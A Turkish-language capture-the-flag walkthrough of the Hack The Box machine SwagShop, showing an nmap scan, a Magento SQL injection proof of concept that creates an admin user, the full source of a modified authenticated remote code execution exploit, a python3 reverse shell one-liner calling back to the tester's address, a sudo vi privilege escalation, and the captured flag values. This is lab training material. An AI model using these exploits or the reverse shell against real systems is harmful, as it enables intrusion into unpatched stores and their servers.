| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| SwagShop - HTB | Kolay | Linux |  |
Walkthrough
nmap taraması ile başlayalım.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80'inci portta magento isimli bir web uygulaması gördüm. Sürüm olarak 2014 yılı gösterilmiştir. İnternetten araştırdığımda bunun 1.9.x sürümü olduğunu gördüm ve bununla ilgili yayınlanmış bir exploit var mı diye kontrol ettim. Kontrollerim sonucu RCE gibi exploitlerin authentication exploitler olduğunu grdüm. Bir credential'a ihtiyacım vardı. Google üzerinden exploitlere bakarken sqli exploiti gördüm ve admin yetkilerinde bana bir kullanıcı oluşturduğunu iddaa ediyordu. Bunun üzerine ilgli exploiti denedim.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# wget https://raw.githubusercontent.com/joren485/Magento-Shoplift-SQLI/master/poc.py
--2021-08-22 15:14:07-- https://raw.githubusercontent.com/joren485/Magento-Shoplift-SQLI/master/poc.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K) [text/plain]
Saving to: ‘poc.py’
poc.py 100%[=============================================================================>] 1.72K --.-KB/s in 0s
2021-08-22 15:14:07 (11.1 MB/s) - ‘poc.py’ saved [1766/1766]
Daha sonra exploiti çalıştırdım ve kullanıcı ekledim.
──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# python2 poc.py swagshop.htb 1 ⨯
WORKED
Check http://swagshop.htb/admin with creds ypwq:123
Magento ver. 1.9.0.0Evet artık bir admin hesabımız var şimdi authentication rce scriptlerini kullanabilirim.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# searchsploit Magento 1.9.0.0
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | php/webapps/37811.py
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# searchsploit -m php/webapps/37811.py
Exploit: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
URL: https://www.exploit-db.com/exploits/37811
Path: /usr/share/exploitdb/exploits/php/webapps/37811.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /root/htb/Linux/SwagShop/exploit/37811.py
Exploiti çalıştırdığımda aşağıdaki gibi hata veriyordu.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# python2 37811.py http://swagshop.htb/index.php/admin "uname -a" 1 ⨯
Traceback (most recent call last):
File "37811.py", line 55, in <module>
br['login[username]'] = username
File "/usr/local/lib/python2.7/dist-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/local/lib/python2.7/dist-packages/mechanize/_form_controls.py", line 2446, in _find_control
description)
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'
Bunun üzerine biraz googleladım ve exploitin bazı kodlarını değiştirdim. Ynei kodların tamamı aşağıda verilmiştir.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# cat 37811-2.py
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none
from hashlib import md5
import sys
import re
import base64
import mechanize
def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()
if len(sys.argv) != 3:
usage()
# Command-line args
target = sys.argv[1]
arg = sys.argv[2]
# Config.
username = 'ypwq'
password = '123'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)
request = br.open(target)
#br.select_form(nr=0)
#br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
#br.form.fixup()
#br['login[username]'] = username
#br['login[password]'] = password
br.select_form(nr=0)
userone = br.find_control(name="login[username]", nr=0)
userone.value = username
pwone = br.find_control(name="login[password]", nr=0)
pwone.value = password
br.method = "POST"
request = br.submit()
content = request.read()
url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)
request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)
payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()
exploit = tunnel + '?ga=' + payload + '&h=' + gh
try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()
Değiştirime işlemini yaparken yararlandığım sayfalar aşağıda verilmiştir.
http://swagshop.htb/app/etc/local.xml
https://stackoverflow.com/questions/35226169/clientform-ambiguityerror-more-than-one-control-matching-nameŞimdi komut çalıştıralım.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# python2 37811-2.py http://swagshop.htb/index.php/admin "uname -a" 130 ⨯
Linux swagshop 4.4.0-146-generic #172-Ubuntu SMP Wed Apr 3 09:00:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Harika! Daha sonrasında sunucuda python3 var mı diye kontrol ettim ve reverse aldım.
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# python2 37811-2.py http://swagshop.htb/index.php/admin "python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
┌──(root💀kali)-[~/htb/Linux/SwagShop/exploit]
└─# nc -lvp 1111 1 ⨯
listening on [any] 1111 ...
id
connect to [10.10.14.9] from swagshop.htb [10.10.10.140] 47710
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
İlk flagi okuyalım.
$ find /home -readable -type f -exec ls -al {} \; 2>/dev/null
find /home -readable -type f -exec ls -al {} \; 2>/dev/null
-rw-r--r-- 1 haris haris 655 May 2 2019 /home/haris/.profile
-rw-r--r-- 1 root root 74 Jun 14 09:04 /home/haris/.selected_editor
-rw-r--r-- 1 haris haris 0 May 2 2019 /home/haris/.sudo_as_admin_successful
-rw-r--r-- 1 haris haris 220 May 2 2019 /home/haris/.bash_logout
-rw-r--r-- 1 haris haris 33 May 8 2019 /home/haris/user.txt
-rw-r--r-- 1 haris haris 3771 May 2 2019 /home/haris/.bashrc
$ cat /home/haris/user.txt
cat /home/haris/user.txt
a448877277e82f05e5ddf9f90aefbac8
Root olalım.
www-data@swagshop:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
İşlem çok kolay vi üzerinden shell açacağız.
www-data@swagshop:/var/www/html$ sudo -u root /usr/bin/vi /var/www/html/../../../../../etc/passwdvi açıldıkan sonra aşağıdaki payloadı girin:
:!bash
root@swagshop:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@swagshop:/var/www/html# cd /root
cd /root
root@swagshop:~# ls
ls
root.txt
root@swagshop:~# cat root.txt
cat root.txt
c2b087d66e14a652a3b86a130ac56721
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
İlk Yorumu Siz Yapın